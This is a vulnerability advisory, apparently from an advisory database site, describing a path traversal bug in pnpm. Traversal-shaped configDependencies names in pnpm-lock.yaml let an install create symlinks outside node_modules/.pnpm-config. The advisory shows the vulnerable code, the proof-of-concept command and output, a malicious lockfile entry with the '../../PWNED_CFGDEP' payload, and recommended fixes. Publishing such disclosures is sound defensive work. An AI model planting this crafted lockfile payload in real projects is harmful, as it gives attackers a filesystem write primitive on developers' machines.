npm · pnpm
pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config
pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.
A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.
In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:
expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This works with --ignore-scripts, so it does not rely on lifecycle script execution.
The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.
The relevant pattern is:
const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')
for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
const configDepPath = path.join(configModulesDir, pkgName)
const pkgDirInGlobalVirtualStore = path.join(
globalVirtualStoreDir,
relPath,
'node_modules',
pkgName
)
await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}
If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.
A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.
This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.
The issue is especially relevant because:
pnpm-lock.yaml.pnpm install.--ignore-scripts.The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.
Command used:
python3 ../pnpm_configdeps_path_traversal_poc.py \
--pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
--keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log
Observed output:
[+] Test project: /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry: http://127.0.0.1:36545/
[+] Store dir: /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name: '../../PWNED_CFGDEP'
[+] Intended cfg root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/
pnpm output:
Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date
Done in 906ms using pnpm v11.5.1
The PoC then detected the escaped symlink:
[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP
The malicious input is an env-lockfile configDependencies key containing traversal components:
importers:
.:
configDependencies:
legit-config-dep:
specifier: '1.0.0'
version: '1.0.0'
'../../PWNED_CFGDEP':
specifier: '1.0.0'
version: '1.0.0'
pnpm accepts the traversal-shaped name and reports it as installed:
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
The intended config dependency root was:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
But pnpm created:
/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.
Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.
Recommended fixes:
Reject env-lockfile configDependencies names that are not valid npm package names.
Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.
Use containment-checked path joining before creating symlinks:
node_modules/.pnpm-config,Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.
Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.
A safe destination check should enforce behavior equivalent to:
const dest = path.resolve(configModulesDir, pkgName)
if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
throw new Error(`Invalid config dependency name: ${pkgName}`)
}
Name validation should happen before this check, not instead of it.
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.